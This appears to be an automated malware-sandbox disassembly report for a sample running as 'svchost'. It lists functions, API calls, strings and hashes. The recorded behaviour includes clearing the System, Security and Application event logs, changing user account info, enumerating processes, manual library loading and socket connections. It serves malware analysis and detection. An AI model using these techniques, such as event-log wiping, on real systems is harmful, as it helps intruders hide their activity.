GlobalMemoryStatusEx.KERNEL32(?), ref: 00410EBB
wsprintfA.USER32 ref: 00410EE1

Strings

@, xrefs: 00410EB2

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: ??2@GlobalMemoryStatuswsprintf
String ID: @
API String ID: 3471495560-2766056989
Opcode ID: b818bec4fb9b3994ac42f0951ccca8403d590c3a3285b15e4aef0a381770cbfc
Instruction ID: bc7096766f507c18794593b9fc14a20ce2f4340cff94acc9b8fa5df3903b716d
Opcode Fuzzy Hash: b818bec4fb9b3994ac42f0951ccca8403d590c3a3285b15e4aef0a381770cbfc
Instruction Fuzzy Hash: 2DF0E2B16842012BE3009718EC05BDB7AA4EFC0384F408839FA4597351E538994846AF

Function 00410380 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 00410387
GlobalMemoryStatusEx.KERNEL32(?), ref: 004103AB
wsprintfA.USER32 ref: 004103D1

Strings

@, xrefs: 004103A2

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: ??2@GlobalMemoryStatuswsprintf
String ID: @
API String ID: 3471495560-2766056989
Opcode ID: cb8d061bb6cbe1fe1032b222526bd8f6d9885069fec9202b4c4474ec00c99cbc
Instruction ID: cbfda28b01811e4050ffd031682d32684c282865287789b41a7156292e72dade
Opcode Fuzzy Hash: cb8d061bb6cbe1fe1032b222526bd8f6d9885069fec9202b4c4474ec00c99cbc
Instruction Fuzzy Hash: 0EF0A7B56843116BE3009719EC45BDB7AE4EFC0784F408839FA45D7351E538D95846AF

Function 0041B58C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28stringCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041B591
strlen.MSVCRT ref: 0041B5B0

Part of subcall function 0041B3BA: __EH_prolog.LIBCMT ref: 0041B3BF
Part of subcall function 0041B3BA: ??0exception@@QAE@ABQBD@Z.MSVCRT(?), ref: 0041B3D9

_CxxThrowException.MSVCRT(00000000,00421698), ref: 0041B5E0

Strings

invalid string position, xrefs: 0041B5AA, 0041B5AF, 0041B5B7

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: H_prolog$??0exception@@ExceptionThrowstrlen
String ID: invalid string position
API String ID: 4056035191-1799206989
Opcode ID: b9682a77cf836f376e9f0f1c5d64753c2a15e35020025241dec067f038d8bcaf
Instruction ID: bd41a4a2b0e1418aa4613b2e1bdccac93449294059d9f6ff855a191281a765a8
Opcode Fuzzy Hash: b9682a77cf836f376e9f0f1c5d64753c2a15e35020025241dec067f038d8bcaf
Instruction Fuzzy Hash: 61F05E32D0112CAACB04F6E5E852AEE777CAF18308F40402AF850B2192DF2C46488BFD

Function 00414820 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25threadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00414821
GetThreadDesktop.USER32(00000000), ref: 00414828

Part of subcall function 004147D0: OpenDesktopA.USER32(?,00000000,00000000,400001CF), ref: 004147E3

PostMessageA.USER32(0000FFFF,00000312,00000000,002E0003), ref: 00414854

Strings

Winlogon, xrefs: 0041482E

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: DesktopThread$CurrentMessageOpenPost
String ID: Winlogon
API String ID: 1322334875-744610081
Opcode ID: 2ac1919b199f977163ed5c1bf5735925e3316cad71b64ad864a879a032c13eb6
Instruction ID: c37f1258d9961d32f9be5455a8e7620377f696bf98308a423a286bb5512708e1
Opcode Fuzzy Hash: 2ac1919b199f977163ed5c1bf5735925e3316cad71b64ad864a879a032c13eb6
Instruction Fuzzy Hash: 1EE0CDB2FC036013E56137A17C4ABDF21045F82B05F054432F921AB1C3E75C8AD142CE

Function 00403A90 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 18stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00403AA0
lstrcatA.KERNEL32(?,\Program Files\Internet Explorer\iexplore.exe,?,00000104), ref: 00403AB5
lstrcpyA.KERNEL32(?,?,?,\Program Files\Internet Explorer\iexplore.exe,?,00000104), ref: 00403AC8

Strings

\Program Files\Internet Explorer\iexplore.exe, xrefs: 00403AAA

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: DirectorySystemlstrcatlstrcpy
String ID: \Program Files\Internet Explorer\iexplore.exe
API String ID: 2630975639-1907246925
Opcode ID: 9a89d6208bc361544106d19e200260f7350f0c36cb8a0c4b5be83815ff445008
Instruction ID: 46cc528cc59011382c720e5a579ad6c1fa6ceedc3ba5f4a5e715cfc9d1f37d05
Opcode Fuzzy Hash: 9a89d6208bc361544106d19e200260f7350f0c36cb8a0c4b5be83815ff445008
Instruction Fuzzy Hash: ADE086F4548341FBD710DB94DC89FEA7BA8BB88305F44C91CB6C892190E6B88188C71A

Function 004091C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 14COMMON

Download Yara Rule

APIs

OpenEventLogA.ADVAPI32(00000000,System), ref: 004091C8
ClearEventLogA.ADVAPI32(00000000,00000000), ref: 004091D7
CloseEventLog.ADVAPI32(00000000), ref: 004091DE

Strings

System, xrefs: 004091C1

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Event$ClearCloseOpen
String ID: System
API String ID: 1391105993-3470857405
Opcode ID: f61e6f64a6370ebf43d4fc179e41c9984c39f82f72ec73414364835a742670d7
Instruction ID: 5058cb73821b13e01b3e5d9dd4a60a0257f5be0f40caddcd2891d0a1d0de8f1e
Opcode Fuzzy Hash: f61e6f64a6370ebf43d4fc179e41c9984c39f82f72ec73414364835a742670d7
Instruction Fuzzy Hash: 7EC01232682631E7D2312B907C4DBCB7E149F09B96F068022FA01751E5CB688D0155EE

Function 004091F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 14COMMON

Download Yara Rule

APIs

OpenEventLogA.ADVAPI32(00000000,Security), ref: 004091F8
ClearEventLogA.ADVAPI32(00000000,00000000), ref: 00409207
CloseEventLog.ADVAPI32(00000000), ref: 0040920E

Strings

Security, xrefs: 004091F1

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Event$ClearCloseOpen
String ID: Security
API String ID: 1391105993-1022211991
Opcode ID: 0e4a1f6a4ebdd7e8fbbc79889ce03d4e262db1d83992a7478b4834e3c1b71e0d
Instruction ID: eca91679c0e642357e907c870c687468b7c1d2cd6518426234e4d1734e02dd45
Opcode Fuzzy Hash: 0e4a1f6a4ebdd7e8fbbc79889ce03d4e262db1d83992a7478b4834e3c1b71e0d
Instruction Fuzzy Hash: 8FC012326C2630E7C2316BD07C4DBCABE24DF0DB96F064461F905751A0CB68890145FE

Function 00409220 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 14COMMON

Download Yara Rule

APIs

OpenEventLogA.ADVAPI32(00000000,Application), ref: 00409228
ClearEventLogA.ADVAPI32(00000000,00000000), ref: 00409237
CloseEventLog.ADVAPI32(00000000), ref: 0040923E

Strings

Application, xrefs: 00409221

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Event$ClearCloseOpen
String ID: Application
API String ID: 1391105993-583488022
Opcode ID: 0c93b20a483c70b59e3148635c002a749bbff177ef50c8531cf9da92ba51220c
Instruction ID: de289f8f912238005d72f15427147cb80bdf59e1060677c95de1ef4d2cf8729c
Opcode Fuzzy Hash: 0c93b20a483c70b59e3148635c002a749bbff177ef50c8531cf9da92ba51220c
Instruction Fuzzy Hash: DFC01232682630E7C2312BD07C4DBCABE149F09B96F064061F901751A0C768990145EE

Function 00401920 Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CancelEventExchangeInterlockedclosesocketsetsockopt
String ID:
API String ID: 1486965892-0
Opcode ID: 1549faeefcf9fcecb957013181cb1ef2041116545b4b52aae1ffccaefeb862cf
Instruction ID: 10ca6369a3765f00f357d4f6bac35cdcfc36b168f16a32aefd1f547747ba55e4
Opcode Fuzzy Hash: 1549faeefcf9fcecb957013181cb1ef2041116545b4b52aae1ffccaefeb862cf
Instruction Fuzzy Hash: BE5195B1A001049BDB14EF65C891BAFB7A9EF88754F00413FFA06BB391DA389905C7D9

Function 0040CA30 Relevance: 6.1, APIs: 4, Instructions: 147COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040CA38
GetCursorPos.USER32(?), ref: 0040CA72
GetCursorInfo.USER32(?), ref: 0040CA93
DestroyCursor.USER32(?), ref: 0040CABC

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Cursor$CountDestroyInfoTick
String ID:
API String ID: 2178836890-0
Opcode ID: 6792dd5aff4f4c40187ed81596880ec2776803daf0fb1384c5582d4f771ab63e
Instruction ID: d2c78e081dfefae8224eace89cd4bfcbd7ce9e55db7911fbf1842eebb5972938
Opcode Fuzzy Hash: 6792dd5aff4f4c40187ed81596880ec2776803daf0fb1384c5582d4f771ab63e
Instruction Fuzzy Hash: 97416271304700DFD724CB29D8D1A6BB3E5BF88714B148A2EE49693791D734F849CBA9

Function 0040AE10 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 0040AE56

Part of subcall function 0040B320: RegOpenKeyExA.ADVAPI32(?,?,00000000,000F013F,0040AE94,?,0040AE94,00000000), ref: 0040B338

??3@YAXPAX@Z.MSVCRT ref: 0040AEB0
??2@YAPAXI@Z.MSVCRT ref: 0040AEC0
??3@YAXPAX@Z.MSVCRT ref: 0040AF1A

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: ??2@??3@$Open
String ID:
API String ID: 2374869923-0
Opcode ID: d4bd7c93995b27cac9325522297e32efcae3922443f19fa32281db6abfbe8890
Instruction ID: 116c7055d866d76bfe2ac5793735a72f4f33f6a4165ed75866b1364a28d4b960
Opcode Fuzzy Hash: d4bd7c93995b27cac9325522297e32efcae3922443f19fa32281db6abfbe8890
Instruction Fuzzy Hash: B0312DB274071907C708EE29A85217FB2C6EFC8714B44443EEE06D3341DA3AED1987EA

Function 0040AFE0 Relevance: 6.1, APIs: 4, Instructions: 111COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 0040B026

Part of subcall function 0040B320: RegOpenKeyExA.ADVAPI32(?,?,00000000,000F013F,0040AE94,?,0040AE94,00000000), ref: 0040B338

??3@YAXPAX@Z.MSVCRT ref: 0040B080
??2@YAPAXI@Z.MSVCRT ref: 0040B090
??3@YAXPAX@Z.MSVCRT ref: 0040B0EA

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: ??2@??3@$Open
String ID:
API String ID: 2374869923-0
Opcode ID: d4bd7c93995b27cac9325522297e32efcae3922443f19fa32281db6abfbe8890
Instruction ID: a3238466a5a149c656aaba39379e09d3e433abcea4045d7e0d01451cb57a8cc1
Opcode Fuzzy Hash: d4bd7c93995b27cac9325522297e32efcae3922443f19fa32281db6abfbe8890
Instruction Fuzzy Hash: DE31F9B2700618478714EE29A85217FB2D6EEC8754B44443EEE1697341DB3ADE0986EE

Function 00406090 Relevance: 6.1, APIs: 4, Instructions: 106libraryloaderCOMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000014,00000000,?,00000000,00000000,?,00405E27,00000000), ref: 004060BE
LoadLibraryA.KERNEL32(?), ref: 004060DA

Part of subcall function 00405CF0: GetProcessHeap.KERNEL32(00000000,?,?), ref: 00405D00
Part of subcall function 00405CF0: HeapReAlloc.KERNEL32(00000000), ref: 00405D07

GetProcAddress.KERNEL32(00000000,?), ref: 00406148
IsBadReadPtr.KERNEL32(?,00000014), ref: 0040616F

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: HeapRead$AddressAllocLibraryLoadProcProcess
String ID:
API String ID: 2932169029-0
Opcode ID: ee1dd93ed1bbea8ee8d6ce37b38d0797f43761b257f8d6c5482fa4cf4ec77e74
Instruction ID: 8bcd95326187f87ee5a0ad4193ca02dc3d2fb57f7c8586e39e78d25208dd88b0
Opcode Fuzzy Hash: ee1dd93ed1bbea8ee8d6ce37b38d0797f43761b257f8d6c5482fa4cf4ec77e74
Instruction Fuzzy Hash: 7A3194726002069FE720CF19DD80A57B7A4FF44364B16853AE856EB392E735E825CBD4

Function 0040B6D0 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

LocalSize.KERNEL32(00000000), ref: 0040B76C
LocalFree.KERNEL32(00000000,?,?,?,?,0040ACC9,?,00000000), ref: 0040B778
LocalSize.KERNEL32(00000000), ref: 0040B788
LocalFree.KERNEL32(00000000,?,?,?,?,0040ACC9,?,00000000), ref: 0040B794

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Local$FreeSize
String ID:
API String ID: 2726095061-0
Opcode ID: abb079c2e2de1602584e04dee54dc6e3255c64ec1e3295ad79ef845d900debd0
Instruction ID: 1f5e9eb91eea99d151f587f79b50f2bf9ac14c53fc0e9d098303524c5d271acf
Opcode Fuzzy Hash: abb079c2e2de1602584e04dee54dc6e3255c64ec1e3295ad79ef845d900debd0
Instruction Fuzzy Hash: 6A21D13624061447DB28AE389C92A7B6289DBD1321B20013FE902A7382CFBDCD5586DE

Function 004011D0 Relevance: 6.1, APIs: 4, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

ceil.MSVCRT ref: 0040120C
_ftol.MSVCRT ref: 00401214
VirtualAlloc.KERNEL32(00000000,00000000,00001000,00000004,?,?,?,?,?,?,?,004010A9,00000000,?,00000000), ref: 00401228

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: AllocVirtual_ftolceil
String ID:
API String ID: 3317677364-0
Opcode ID: 52cafaffdd9b02a9de83848ea70069dc59e6f7d0d2fbe9ec4512bacfac1b4e43
Instruction ID: 558f962bae6efc7e8a0cfddb4ff2ebc2e855990d8dba08c1b4d8fed622c70353
Opcode Fuzzy Hash: 52cafaffdd9b02a9de83848ea70069dc59e6f7d0d2fbe9ec4512bacfac1b4e43
Instruction Fuzzy Hash: 1711E4716443008BC704EF29EC82B6BB7E0EBD4361F04C43EFD459B391DA799808CAA9

Function 0040DE80 Relevance: 6.1, APIs: 4, Instructions: 56fileCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0040DEA7
WideCharToMultiByte.KERNEL32(00000000,00000200,?,000000FF,00000000,?,00000000,00000000), ref: 0040DED9
WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 0040DEEC
free.MSVCRT(00000000), ref: 0040DEF3

Part of subcall function 0040A530: SetEvent.KERNEL32(?,0040BEA5), ref: 0040A534

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: ByteCharEventFileMultiWideWritefreemalloc
String ID:
API String ID: 2353244469-0
Opcode ID: def2cd512594f886b19b6ba3d2fe433609702b2e0b53fe86e15556c3b7a657b8
Instruction ID: 3f8a408a2d7ca77a34a0fb6e69238cd53d7ff7594ad6057183e42c6debb99cac
Opcode Fuzzy Hash: def2cd512594f886b19b6ba3d2fe433609702b2e0b53fe86e15556c3b7a657b8
Instruction Fuzzy Hash: 390147727446183FE304AA54EC81FAB734DEBD4770F004139F605973C1D669AC0487B9

Function 004103F0 Relevance: 6.1, APIs: 4, Instructions: 52sleepCOMMON

Download Yara Rule

APIs

mbstowcs.MSVCRT ref: 00410427
NetUserSetInfo.NETAPI32(00000000,?,000003F0,?,00000000,?,?,?), ref: 0041045D
Sleep.KERNEL32(00000064,00000000,?,000003F0,?,00000000,?,?,?), ref: 00410481

Part of subcall function 004108B0: LocalSize.KERNEL32(00000000), ref: 004108C0
Part of subcall function 004108B0: LocalFree.KERNEL32(00000000,?,00410D52,00000000,00000000,00000001,?,?), ref: 004108D0

LocalFree.KERNEL32(?,?,?,?), ref: 00410493

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: Local$Free$InfoSizeSleepUsermbstowcs
String ID:
API String ID: 2733533-0
Opcode ID: aa5e0c5e74c033c5c724f4b8d9f210baacb24c4f12b4d2ed40173671e6bda46c
Instruction ID: 853b727ca1bb2ace018377e91551ee885041d75f8e9f2e66dfc6cb0e338dc04c
Opcode Fuzzy Hash: aa5e0c5e74c033c5c724f4b8d9f210baacb24c4f12b4d2ed40173671e6bda46c
Instruction Fuzzy Hash: 731108316483006BE314DB28CC85FDB73D9AFD8B04F008A2DB585922C1EAB8954C879B

Function 00401640 Relevance: 6.0, APIs: 4, Instructions: 47synchronizationnetworkCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00000000,00000000,?,00000000,0041B91C,000000FF,0040EA49), ref: 0040167C
CloseHandle.KERNEL32(?), ref: 0040169F
CloseHandle.KERNEL32(?), ref: 004016A8
WSACleanup.WS2_32 ref: 004016AA

Part of subcall function 00401B00: setsockopt.WS2_32(?,0000FFFF,00000080,74DF23A0), ref: 00401B2A
Part of subcall function 00401B00: CancelIo.KERNEL32(?), ref: 00401B37
Part of subcall function 00401B00: InterlockedExchange.KERNEL32(?,00000000), ref: 00401B46
Part of subcall function 00401B00: closesocket.WS2_32(?), ref: 00401B53
Part of subcall function 00401B00: SetEvent.KERNEL32(?), ref: 00401B60

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CloseHandle$CancelCleanupEventExchangeInterlockedObjectSingleWaitclosesocketsetsockopt
String ID:
API String ID: 136543108-0
Opcode ID: fa045b6fa9a42d632896d8bd3780d11036bf18b512f9b69df7fd127855550a0d
Instruction ID: e7519d3cabb02d2f64a1035a20e17072172aa3b511d2b3d3fc005883472a575b
Opcode Fuzzy Hash: fa045b6fa9a42d632896d8bd3780d11036bf18b512f9b69df7fd127855550a0d
Instruction Fuzzy Hash: 68118231108B819FC311EF28C855B6BB7E4AF85724F004A1EF0E6536D1CBB8A545CBA7

Function 00412240 Relevance: 6.0, APIs: 4, Instructions: 47processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00412255
Process32First.KERNEL32(00000000,?), ref: 00412262
CloseHandle.KERNEL32(00000000,00000000,?), ref: 004122AB

Part of subcall function 00412090: CreateToolhelp32Snapshot.KERNEL32(00000008,?), ref: 004120B7
Part of subcall function 00412090: Module32First.KERNEL32(00000000,00000000), ref: 004120CC
Part of subcall function 00412090: lstrcmpiA.KERNEL32(?,?), ref: 004120EB
Part of subcall function 00412090: Module32Next.KERNEL32(00000000,00000000), ref: 004120F7
Part of subcall function 00412090: lstrcmpiA.KERNEL32(?,?), ref: 00412109
Part of subcall function 00412090: CloseHandle.KERNEL32(00000000), ref: 00412114

Process32Next.KERNEL32(00000000,?), ref: 004122A0

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CloseCreateFirstHandleModule32NextProcess32SnapshotToolhelp32lstrcmpi
String ID:
API String ID: 1584622316-0
Opcode ID: 4921056a0ede558de9c22f6172e7967d9afeedb64ee6d14489d8ef265cba1417
Instruction ID: c94412c025f00ae55ad2ef8faab7a39dcb10ad5dc6780df16ae4db7a939fd1b3
Opcode Fuzzy Hash: 4921056a0ede558de9c22f6172e7967d9afeedb64ee6d14489d8ef265cba1417
Instruction Fuzzy Hash: 2AF0D6724042112AE220A661AD82FFF77ACDF88754F00456EFD44C6141EB3CCC6582B6

Function 00403AE0 Relevance: 6.0, APIs: 4, Instructions: 37networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000000), ref: 00403AEA
htons.WS2_32 ref: 00403B12
connect.WS2_32(00000000,?,00000010), ref: 00403B25
closesocket.WS2_32(00000000), ref: 00403B31

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: closesocketconnecthtonssocket
String ID:
API String ID: 3817148366-0
Opcode ID: 5711a145befce18d27e3bf1a24f428d6747bb91b25bf34a8d6bd2b7e830d9892
Instruction ID: 43d573faf243e95f2551cec334ae255a7dfc47b9e9b96d681b8cf1200310cfc0
